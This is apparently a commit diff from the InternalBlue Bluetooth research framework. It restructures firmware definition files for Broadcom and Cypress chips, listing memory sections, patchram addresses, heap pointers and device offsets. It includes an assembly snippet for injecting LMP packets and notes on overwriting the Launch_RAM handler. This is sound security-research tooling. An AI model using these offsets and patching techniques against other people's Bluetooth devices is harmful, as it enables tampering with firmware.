# this software and associated documentation files (the "Software"), to deal in
# the Software without restriction, including without limitation the rights to
# use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
# the Software, and to permit persons to whom the Software is furnished to do so,
# subject to the following conditions:
# - The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
# - The Software is provided "as is", without warranty of any kind, express or
# implied, including but not limited to the warranties of merchantability,
# fitness for a particular purpose and noninfringement. In no event shall the
# authors or copyright holders be liable for any claim, damages or other
# liability, whether in an action of contract, tort or otherwise, arising from,
# out of or in connection with the Software or the use or other dealings in the
# Software.
from __future__ import absolute_import
from .fw import MemorySection, FirmwareDefinition
from .. import Address
class BCM4377B3(FirmwareDefinition):
# Firmware Infos
# MacBook Late 2019, MacBook Air 2020, PCIe variant
FW_NAME = "BCM4377B3"
# Memory Sections
# start, end, is_rom? is_ram?
SECTIONS = [
MemorySection(0x00000000, 0x0013FFFF, True, False), # Internal ROM
MemorySection(0x00160000, 0x0017FFFF, False, True), # Patches
MemorySection(0x00200000, 0x00288000, False, True), # Internal Memory Cortex M3
MemorySection(0x00300000, 0x00307FFF, False, True),
]
# Patchram
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310404
PATCHRAM_VALUE_TABLE_ADDRESS = 0x160000
PATCHRAM_NUMBER_OF_SLOTS = 256 # 154/256 used on Catalina 10.15.1
PATCHRAM_ALIGNED = False
+52
View File
@@ -0,0 +1,52 @@
#!/usr/bin/env python
# fw_0x2033.py
#
# Copyright (c) 2020 The InternalBlue Team. (MIT License)
#
# Permission is hereby granted, free of charge, to any person obtaining a copy of
# this software and associated documentation files (the "Software"), to deal in
# the Software without restriction, including without limitation the rights to
# use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
# the Software, and to permit persons to whom the Software is furnished to do so,
# subject to the following conditions:
# - The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
# - The Software is provided "as is", without warranty of any kind, express or
# implied, including but not limited to the warranties of merchantability,
# fitness for a particular purpose and noninfringement. In no event shall the
# authors or copyright holders be liable for any claim, damages or other
# liability, whether in an action of contract, tort or otherwise, arising from,
# out of or in connection with the Software or the use or other dealings in the
# Software.
from __future__ import absolute_import
from .fw import MemorySection, FirmwareDefinition
from .. import Address
class BCM4377B3(FirmwareDefinition):
# Firmware Infos
# MacBook Late 2019, MacBook Air 2020, PCIe variant
FW_NAME = "BCM4377B3"
# Memory Sections
# start, end, is_rom? is_ram?
SECTIONS = [
MemorySection(0x00000000, 0x0013FFFF, True, False), # Internal ROM
MemorySection(0x00160000, 0x0017FFFF, False, True), # Patches
MemorySection(0x00200000, 0x00288000, False, True), # Internal Memory Cortex M3
MemorySection(0x00300000, 0x00307FFF, False, True),
]
# Patchram
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310404
PATCHRAM_VALUE_TABLE_ADDRESS = 0x160000
PATCHRAM_NUMBER_OF_SLOTS = 256 # 154/256 used on Catalina 10.15.1
PATCHRAM_ALIGNED = False
# Enable enhanced advertisement reports (bEnhancedAdvReport)
ENHANCED_ADV_REPORT_ADDRESS = Address(0x20ffae) # this is the field but packetlogger also shows more info that it cannot decode then
+54
View File
@@ -0,0 +1,54 @@
#!/usr/bin/env python
# fw_0x2056.py
#
# Copyright (c) 2020 The InternalBlue Team. (MIT License)
#
# Permission is hereby granted, free of charge, to any person obtaining a copy of
# this software and associated documentation files (the "Software"), to deal in
# the Software without restriction, including without limitation the rights to
# use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
# the Software, and to permit persons to whom the Software is furnished to do so,
# subject to the following conditions:
# - The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
# - The Software is provided "as is", without warranty of any kind, express or
# implied, including but not limited to the warranties of merchantability,
# fitness for a particular purpose and noninfringement. In no event shall the
# authors or copyright holders be liable for any claim, damages or other
# liability, whether in an action of contract, tort or otherwise, arising from,
# out of or in connection with the Software or the use or other dealings in the
# Software.
from __future__ import absolute_import
from .fw import MemorySection, FirmwareDefinition
from .. import Address
class BCM4364B0(FirmwareDefinition):
# Firmware Infos
# Various MacBooks/iMacs ranging from 2016 to 2019.
# Note that with each OS update the LMP version changes on macOS, so you might
# need to rename the file to the LMP minor version you see in your macOS hardware
# report. It was 0x2056 in April 2020.
FW_NAME = "BCM4364B0"
# Memory Sections - untested!
# start, end, is_rom? is_ram?
SECTIONS = [
MemorySection(0x00000000, 0x0013FFFF, True, False), # Internal ROM
MemorySection(0x00160000, 0x0017FFFF, False, True), # Patches
MemorySection(0x00200000, 0x00288000, False, True), # Internal Memory Cortex M3
MemorySection(0x00300000, 0x0037FFFF, False, True),
]
# Patchram - untested!
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310404
PATCHRAM_VALUE_TABLE_ADDRESS = 0x160000
PATCHRAM_NUMBER_OF_SLOTS = 256
PATCHRAM_ALIGNED = False
# Enable enhanced advertisement reports (bEnhancedAdvReport)
ENHANCED_ADV_REPORT_ADDRESS = Address(0x203154)
+44
View File
@@ -0,0 +1,44 @@
# fw_default.py
#
# Generic firmware file in case we do not know something...
#
# Copyright (c) 2020 The InternalBlue Team. (MIT License)
#
# Permission is hereby granted, free of charge, to any person obtaining a copy of
# this software and associated documentation files (the "Software"), to deal in
# the Software without restriction, including without limitation the rights to
# use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
# the Software, and to permit persons to whom the Software is furnished to do so,
# subject to the following conditions:
# - The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
# - The Software is provided "as is", without warranty of any kind, express or
# implied, including but not limited to the warranties of merchantability,
# fitness for a particular purpose and noninfringement. In no event shall the
# authors or copyright holders be liable for any claim, damages or other
# liability, whether in an action of contract, tort or otherwise, arising from,
# out of or in connection with the Software or the use or other dealings in the
# Software.
from __future__ import absolute_import
from .fw import MemorySection, FirmwareDefinition
from .. import Address
class BCM20703A1(FirmwareDefinition):
# Firmware Infos
# MacBook Pro early 2015 15" Retina
# macOS changes the LMP version with security fixes
# 10.15.4 has 0x21a9 but older patches go down to 0x21a1
FW_NAME = "BCM20703A1"
# Memory Sections
# start, end, is_rom? is_ram?
SECTIONS = [
MemorySection(0x00000000, 0x000C7FFF, True, False), # Internal ROM
MemorySection(0x000D0000, 0x000EFFFF, False, True), # Patchram
MemorySection(0x00200000, 0x00247FFF, False, True), # Internal Memory Cortex M3
]
# Patchram
# needs aligned access on this firmware, so it doesn't work
+38
View File
@@ -0,0 +1,38 @@
#!/usr/bin/env python
#
# fw_0x21d0.py
#
# Firmware file for BCM2046 chipsets. These chipsets are typically used for
# in older MacBooks and iMacs.
#
# Copyright (c) 2020 Jiska Classen. (MIT License)
#
# Permission is hereby granted, free of charge, to any person obtaining a copy of
# this software and associated documentation files (the "Software"), to deal in
# the Software without restriction, including without limitation the rights to
# use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
# the Software, and to permit persons to whom the Software is furnished to do so,
# subject to the following conditions:
# - The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
# - The Software is provided "as is", without warranty of any kind, express or
# implied, including but not limited to the warranties of merchantability,
# fitness for a particular purpose and noninfringement. In no event shall the
# authors or copyright holders be liable for any claim, damages or other
# liability, whether in an action of contract, tort or otherwise, arising from,
# out of or in connection with the Software or the use or other dealings in the
# Software.
from __future__ import absolute_import
from .fw import MemorySection, FirmwareDefinition
class BCM2046(FirmwareDefinition):
# Firmware Infos
FW_NAME = "BCM2046" # iMac 2009
# Memory Sections
# start, end, is_rom? is_ram?
SECTIONS = [
MemorySection(0x00000000, 0x3FFFF, True, False), # Internal ROM
MemorySection(0x80000, 0x89FFF, False, True), # Internal RAM
]
+63 -66
View File
@@ -1,13 +1,13 @@
#!/usr/bin/env python2
#!/usr/bin/env python
# fw_0x6119.py
# fw_0x2209.py
#
# All firmware specific data such as address offsets are collected
# in the fw.py file. Later versions of the framework will provide
# multiple copies of this file in order to target different firmware
# and chip versions.
#
# Copyright (c) 2019 Jiska Classen. (MIT License)
# Copyright (c) 2020 The InternalBlue Team. (MIT License)
#
# Permission is hereby granted, free of charge, to any person obtaining a copy of
# this software and associated documentation files (the "Software"), to deal in
@@ -25,75 +25,72 @@
# out of or in connection with the Software or the use or other dealings in the
# Software.
# Firmware Infos
# This runs on Rasperry Pi 3
from builtins import object
FW_NAME = "BCM43430A1"
from __future__ import absolute_import
from .fw import MemorySection, FirmwareDefinition
from .. import Address
# Device Infos
DEVICE_NAME = 0x20401C
BD_ADDR = 0x201C64
# Memory Sections
class MemorySection(object):
def __init__(self, start_addr, end_addr, is_rom, is_ram):
self.start_addr = start_addr
self.end_addr = end_addr
self.is_rom = is_rom
self.is_ram = is_ram
class BCM43430A1(FirmwareDefinition):
# Firmware Infos
# This runs on Rasperry Pi 3
FW_NAME = "BCM43430A1"
def size(self):
return self.end_addr - self.start_addr
# Device Infos
DEVICE_NAME = 0x20401C
BD_ADDR = 0x201C64
# Memory Sections
# start, end, is_rom? is_ram?
SECTIONS = [ MemorySection(0x0, 0x90000, True , False),
MemorySection(0xd0000, 0xd8000, False, True ),
#MemorySection(0xe0000, 0x1f0000, True , False),
MemorySection(0x200000, 0x21ffff, False, True ),
#MemorySection(0x260000, 0x268000, True , False), # might crash? issue 14
#MemorySection(0x280000, 0x2a0000, True , False),
MemorySection(0x318000, 0x320000, False, False),
MemorySection(0x324000, 0x360000, False, False),
MemorySection(0x362000, 0x362100, False, False),
MemorySection(0x363000, 0x363100, False, False),
MemorySection(0x600000, 0x600800, False, False),
MemorySection(0x640000, 0x640800, False, False),
MemorySection(0x650000, 0x650800, False, False),
#MemorySection(0x680000, 0x800000, False, False)
]
# Memory Sections
# start, end, is_rom? is_ram?
SECTIONS = [
MemorySection(0x0, 0x90000, True, False),
MemorySection(0xD0000, 0xD8000, False, True),
# MemorySection(0xe0000, 0x1f0000, True , False),
MemorySection(0x200000, 0x21FFFF, False, True),
# MemorySection(0x260000, 0x268000, True , False), # might crash? issue 14
# MemorySection(0x280000, 0x2a0000, True , False),
MemorySection(0x318000, 0x320000, False, False),
MemorySection(0x324000, 0x360000, False, False),
MemorySection(0x362000, 0x362100, False, False),
MemorySection(0x363000, 0x363100, False, False),
MemorySection(0x600000, 0x600800, False, False),
MemorySection(0x640000, 0x640800, False, False),
MemorySection(0x650000, 0x650800, False, False),
# MemorySection(0x680000, 0x800000, False, False)
]
# Connection Structure and Table
#CONNECTION_LIST_ADDRESS = 0x204ba8
CONNECTION_MAX = 11
CONNECTION_STRUCT_LENGTH = 0x150 # TODO
# Connection Structure and Table
# CONNECTION_LIST_ADDRESS = 0x204ba8
CONNECTION_MAX = 11
CONNECTION_STRUCT_LENGTH = 0x150 # TODO
# Patchram
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310204
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
PATCHRAM_VALUE_TABLE_ADDRESS = 0xd0000
PATCHRAM_NUMBER_OF_SLOTS = 128
PATCHRAM_ALIGNED = False
# Patchram
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310204
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
PATCHRAM_VALUE_TABLE_ADDRESS = 0xD0000
PATCHRAM_NUMBER_OF_SLOTS = 128
PATCHRAM_ALIGNED = False
# Heap
BLOC_HEAD = 0x200588 # g_dynamic_memory_GeneralUsePools
BLOC_NG = True # Next Generation Bloc Buffer
# Heap
BLOC_HEAD = 0x200588 # g_dynamic_memory_GeneralUsePools
BLOC_NG = True # Next Generation Bloc Buffer
# Snippet for sendLcpPacket()
SENDLCP_CODE_BASE_ADDRESS = 0x21a000
SENDLCP_ASM_CODE = """
push {r4,lr}
// we want to call lmulp_sendLcp(conn_index, input, length)
mov r0, %d // connection index, starts at 0
ldr r1, =payload
mov r2, %d // length
bl 0x8389A // lmulp_sendLcp
pop {r4,pc} // go back
.align // The payload (LMP packet) must be 4-byte aligend (memcpy needs aligned addresses)
payload: // Note: the payload will be appended here by the sendLmpPacket() function
"""
# Enable enhanced advertisement reports (bEnhancedAdvReport) - TODO untested
ENHANCED_ADV_REPORT_ADDRESS = Address(0x202980)
# Snippet for sendLcpPacket()
SENDLCP_CODE_BASE_ADDRESS = 0x21A000
SENDLCP_ASM_CODE = """
push {r4,lr}
// we want to call lmulp_sendLcp(conn_index, input, length)
mov r0, %d // connection index, starts at 0
ldr r1, =payload
mov r2, %d // length
bl 0x8389A // lmulp_sendLcp
pop {r4,pc} // go back
.align // The payload (LMP packet) must be 4-byte aligend (memcpy needs aligned addresses)
payload: // Note: the payload will be appended here by the sendLmpPacket() function
"""
+20 -20
View File
@@ -1,4 +1,3 @@
from __future__ import absolute_import
# fw_0x420e.py
#
# Generic firmware file in case we do not know something...
@@ -21,26 +20,27 @@ from __future__ import absolute_import
# out of or in connection with the Software or the use or other dealings in the
# Software.
from .fw import MemorySection
# Firmware Infos
# Evaluation Kit CYW20706
FW_NAME = "CYW20706"
from __future__ import absolute_import
from .fw import MemorySection, FirmwareDefinition
# Memory Sections
# start, end, is_rom? is_ram?
SECTIONS = [ MemorySection(0x00000000, 0x000c7fff, True, False), # Internal ROM
MemorySection(0x000d0000, 0x000dffff, False, True ),
MemorySection(0x00200000, 0x00247fff, False, True), # Internal Memory Cortex M3
]
# Patchram
#PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
#PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310404
#PATCHRAM_VALUE_TABLE_ADDRESS = 0x0d0000
#PATCHRAM_NUMBER_OF_SLOTS = 256
PATCHRAM_ALIGNED = True
# only seems to work 4-byte aligned here ...
class CYW20706(FirmwareDefinition):
# Firmware Infos
# Evaluation Kit CYW20706
FW_NAME = "CYW20706"
# Memory Sections
# start, end, is_rom? is_ram?
SECTIONS = [
MemorySection(0x00000000, 0x000C7FFF, True, False), # Internal ROM
MemorySection(0x000D0000, 0x000DFFFF, False, True),
MemorySection(0x00200000, 0x00247FFF, False, True), # Internal Memory Cortex M3
]
# Patchram
# PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
# PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310404
# PATCHRAM_VALUE_TABLE_ADDRESS = 0x0d0000
# PATCHRAM_NUMBER_OF_SLOTS = 256
PATCHRAM_ALIGNED = True
# only seems to work 4-byte aligned here ...
+50 -21
View File
@@ -1,9 +1,8 @@
from __future__ import absolute_import
# fw_0x420e.py
#
# Generic firmware file in case we do not know something...
#
# Copyright (c) 2019 Jiska Classen. (MIT License)
# Copyright (c) 2020 The InternalBlue Team. (MIT License)
#
# Permission is hereby granted, free of charge, to any person obtaining a copy of
# this software and associated documentation files (the "Software"), to deal in
@@ -21,27 +20,57 @@ from __future__ import absolute_import
# out of or in connection with the Software or the use or other dealings in the
# Software.
from .fw import MemorySection
# Firmware Infos
# Evaluation Kit CYW920819
FW_NAME = "CYW20819A1"
from __future__ import absolute_import
from .fw import MemorySection, FirmwareDefinition
from .. import Address
# Memory Sections
# start, end, is_rom? is_ram?
SECTIONS = [ MemorySection(0x00000000, 0x001fffff, True, False), # Internal ROM
MemorySection(0x00200000, 0x0024ffff, False, True), # Internal Memory Cortex M3
MemorySection(0x00270000, 0x0027ffff, False, True), # Internal Memory Patchram Contents
MemorySection(0x00310000, 0x00321fff, False, True), # HW Regs Cortex M3 (readable)
]
class CYW20819A1(FirmwareDefinition):
"""
CYW20819 is a Cypress evaluation board, the newest one that is currently available.
# Patchram
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310404
PATCHRAM_VALUE_TABLE_ADDRESS = 0x270000
PATCHRAM_NUMBER_OF_SLOTS = 256
PATCHRAM_ALIGNED = False
# only seems to work 4-byte aligned here ...
Known issues:
* `Launch_RAM` does not terminate and crashes the board.
To get this working anyway:
The `Launch_RAM` handler HCI callback is at `0xF2884` and it can be overwritten with the
address of the memory snippet you want to launch. For example, at `0x219000` there is some
free memory. Put the function there. Then:
`internalblue.patchRom(0xF2884, p32(ASM_LOCATION_RNG+1)): # function table entries are sub+1
"""
# Firmware Infos
# Evaluation Kit CYW920819
FW_NAME = "CYW20819A1"
# Memory Sections
# start, end, is_rom? is_ram?
SECTIONS = [
MemorySection(0x00000000, 0x001FFFFF, True, False), # Internal ROM
MemorySection(0x00200000, 0x0024FFFF, False, True), # Internal Memory Cortex M3
MemorySection(
0x00270000, 0x0027FFFF, False, True
), # Internal Memory Patchram Contents
MemorySection(0x00310000, 0x00321FFF, False, True), # HW Regs Cortex M3 (readable)
]
# Patchram
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310404
PATCHRAM_VALUE_TABLE_ADDRESS = 0x270000
PATCHRAM_NUMBER_OF_SLOTS = 256
PATCHRAM_ALIGNED = False
# only seems to work 4-byte aligned here ...
# Launch_RAM is faulty so we need to overwrite it. This is the position of the handler.
LAUNCH_RAM = 0xF2884
HCI_EVENT_COMPLETE = 0x1179E
# Enable enhanced advertisement reports (bEnhancedAdvReport)
ENHANCED_ADV_REPORT_ADDRESS = Address(0x20294C)
+15 -14
View File
@@ -1,4 +1,4 @@
#!/usr/bin/env python2
#!/usr/bin/env python
#
# fw_0x220e.py
#
@@ -22,21 +22,22 @@
# liability, whether in an action of contract, tort or otherwise, arising from,
# out of or in connection with the Software or the use or other dealings in the
# Software.
from __future__ import absolute_import
from .fw import MemorySection
from .fw import MemorySection, FirmwareDefinition
# Firmware Infos
FW_NAME = "BCM20702A1 (USB Bluetooth dongle)"
# Device Infos
#DEVICE_NAME = 0x280CD0 # rm_deviceLocalName, FIXME has no longer a length byte prepended
#BD_ADDR = 0x280CA4 # rm_deviceBDAddr
class BCM20702A1(FirmwareDefinition):
# Firmware Infos
FW_NAME = "BCM20702A1" # (USB Bluetooth dongle)
# Memory Sections
# start, end, is_rom? is_ram?
SECTIONS = [ MemorySection(0x00000000, 0x5ffff, True, False), # Internal ROM
MemorySection(0x80000, 0x9bfff, False, True), # Internal RAM
]
BLOC_HEAD = 0x3166c
# Device Infos
# DEVICE_NAME = 0x280CD0 # rm_deviceLocalName, FIXME has no longer a length byte prepended
# BD_ADDR = 0x280CA4 # rm_deviceBDAddr
# Memory Sections
# start, end, is_rom? is_ram?
SECTIONS = [
MemorySection(0x00000000, 0x5FFFF, True, False), # Internal ROM
MemorySection(0x80000, 0x9BFFF, False, True), # Internal RAM
]
BLOC_HEAD = 0x3166C
+24 -25
View File
@@ -1,9 +1,5 @@
#!/usr/bin/env python2
#!/usr/bin/env python
# fw_default.py
#
# Generic firmware file in case we do not know something...
#
# Copyright (c) 2019 Jiska Classen. (MIT License)
#
# Permission is hereby granted, free of charge, to any person obtaining a copy of
@@ -23,26 +19,29 @@
# Software.
from __future__ import absolute_import
from .fw import MemorySection
from .fw import MemorySection, FirmwareDefinition
# Firmware Infos
FW_NAME = "BCM20703A2 (MacBook Pro 2016)"
# Symbols contained in:
# ./WICED-Studio-6.2/20706-A2_Bluetooth/Wiced-BT/BLD_ROM/A_20703A2/20703.symdefs
# ./WICED-Studio-6.2/20706-A2_Bluetooth/Wiced-BT/tier2/brcm/wiced_uart/bld/A_20703A2/20703_ram_ext.lst
class BCM20703A2(FirmwareDefinition):
# Firmware Infos
FW_NAME = "BCM20703A2 (MacBook Pro 2016)"
# Memory Sections
# start, end, is_rom? is_ram?
SECTIONS = [ MemorySection(0x0, 0xc7fff, True, False), #0x000c0a97
MemorySection(0xd0000, 0xe0000, False, False), #0x000dd78c
MemorySection(0x200000, 0x240000, False, True ), #0x00217a38
MemorySection(0x260000, 0x268fff, True, False), #0x0026841d
MemorySection(0x318000, 0x320000, False, False),
MemorySection(0x324000, 0x338000, False, False),
MemorySection(0x362000, 0x362100, False, False),
MemorySection(0x363000, 0x363100, False, False),
MemorySection(0x600000, 0x600800, False, False),
MemorySection(0x640000, 0x640800, False, False),
MemorySection(0x650000, 0x650800, False, False)
]
# Symbols contained in:
# ./WICED-Studio-6.2/20706-A2_Bluetooth/Wiced-BT/BLD_ROM/A_20703A2/20703.symdefs
# ./WICED-Studio-6.2/20706-A2_Bluetooth/Wiced-BT/tier2/brcm/wiced_uart/bld/A_20703A2/20703_ram_ext.lst
# Memory Sections
# start, end, is_rom? is_ram?
SECTIONS = [
MemorySection(0x0, 0xC7FFF, True, False), # 0x000c0a97
MemorySection(0xD0000, 0xE0000, False, False), # 0x000dd78c
MemorySection(0x200000, 0x240000, False, True), # 0x00217a38
MemorySection(0x260000, 0x268FFF, True, False), # 0x0026841d
MemorySection(0x318000, 0x320000, False, False),
MemorySection(0x324000, 0x338000, False, False),
MemorySection(0x362000, 0x362100, False, False),
MemorySection(0x363000, 0x363100, False, False),
MemorySection(0x600000, 0x600800, False, False),
MemorySection(0x640000, 0x640800, False, False),
MemorySection(0x650000, 0x650800, False, False),
]

Some files were not shown because too many files have changed in this diff Show More